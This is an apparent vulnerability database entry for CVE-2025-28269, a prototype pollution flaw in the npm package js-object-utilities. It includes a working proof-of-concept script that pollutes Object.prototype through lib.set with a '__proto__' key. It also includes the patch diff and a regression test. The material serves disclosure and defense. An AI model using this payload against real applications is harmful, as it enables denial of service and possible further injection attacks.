VYPR
High severityNVD Advisory· Published Apr 7, 2025· Updated Apr 14, 2025

js-object-utilities Vulnerable to Prototype Pollution

CVE-2025-28269

Description

Vulnerability type: Prototype Pollution

Affected Package: * Product: js-object-utilities * Version: 2.2.0

Remedy:

Update package to version 2.2.1.

Vulnerability Location(s): ``js at module.exports (/node_modules/js-object-utilities/dist/set.js:16:29) ``

Description:

The latest version of js-object-utilities (2.2.0), (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) lib.set. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install js-object-utilities@2.2.0
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
// poc.js
(async () => {
    const lib = await import('js-object-utilities');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        Reflect.apply(lib.set, {}, [someObj, "__proto__.pollutedKey", 123]);
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Reporter Credit:

Tariq Hawis

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
js-object-utilitiesnpm
< 2.2.12.2.1

Patches

1
05ca69420727

Fixing GHSA-hpqf-m68j-2pfx Prototype Pollution

https://github.com/rrainn/js-object-utilitiesCharlie FishMar 29, 2025via ghsa
2 files changed · +22 3
  • lib/set.ts+8 3 modified
    @@ -2,6 +2,13 @@ import {GeneralObject, GeneralObjectOrValue} from "./types";
     
     export = <T>(object: GeneralObject<T>, key: string, value: any): GeneralObject<T> => {
     	const keyParts = key.split(".");
    +
    +	// Protect against prototype pollution
    +	if (keyParts.includes("__proto__") || keyParts.includes("constructor")) {
    +		// If the key is __proto__ or constructor, return the object and do nothing since this is a security risk.
    +		return object;
    +	}
    +
     	let objectRef: GeneralObjectOrValue<T> = object;
     	keyParts.forEach((part: string | number, index: number) => {
     		if (keyParts.length - 1 === index) {
    @@ -16,9 +23,7 @@ export = <T>(object: GeneralObject<T>, key: string, value: any): GeneralObject<T
     	});
     
     	const finalKey: string = keyParts[keyParts.length - 1];
    -	if (finalKey !== "__proto__" && finalKey !== "constructor") {
    -		objectRef[finalKey] = value;
    -	}
    +	objectRef[finalKey] = value;
     
     	return object;
     };
    
  • test/set.js+14 0 modified
    @@ -54,4 +54,18 @@ describe("utils.set", () => {
     			expect(utils.set(...test.input)).to.eql(test.output);
     		});
     	});
    +
    +	it("Should protect against prototype pollution when using Reflect.apply for __proto__", () => {
    +		let obj = {};
    +		expect(JSON.stringify({}.__proto__)).to.eql("{}");
    +		try {
    +			// for multiple functions, uncomment only one for each execution.
    +			Reflect.apply(utils.set, {}, [obj, "__proto__.pollutedKey", 123]);
    +		} catch (e) {
    +			expect(e).to.not.exist();
    +		}
    +		expect(JSON.stringify({}.__proto__)).to.eql("{}");
    +		expect(Object.prototype.pollutedKey).to.be.undefined;
    +		delete Object.prototype.pollutedKey;
    +	});
     });
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.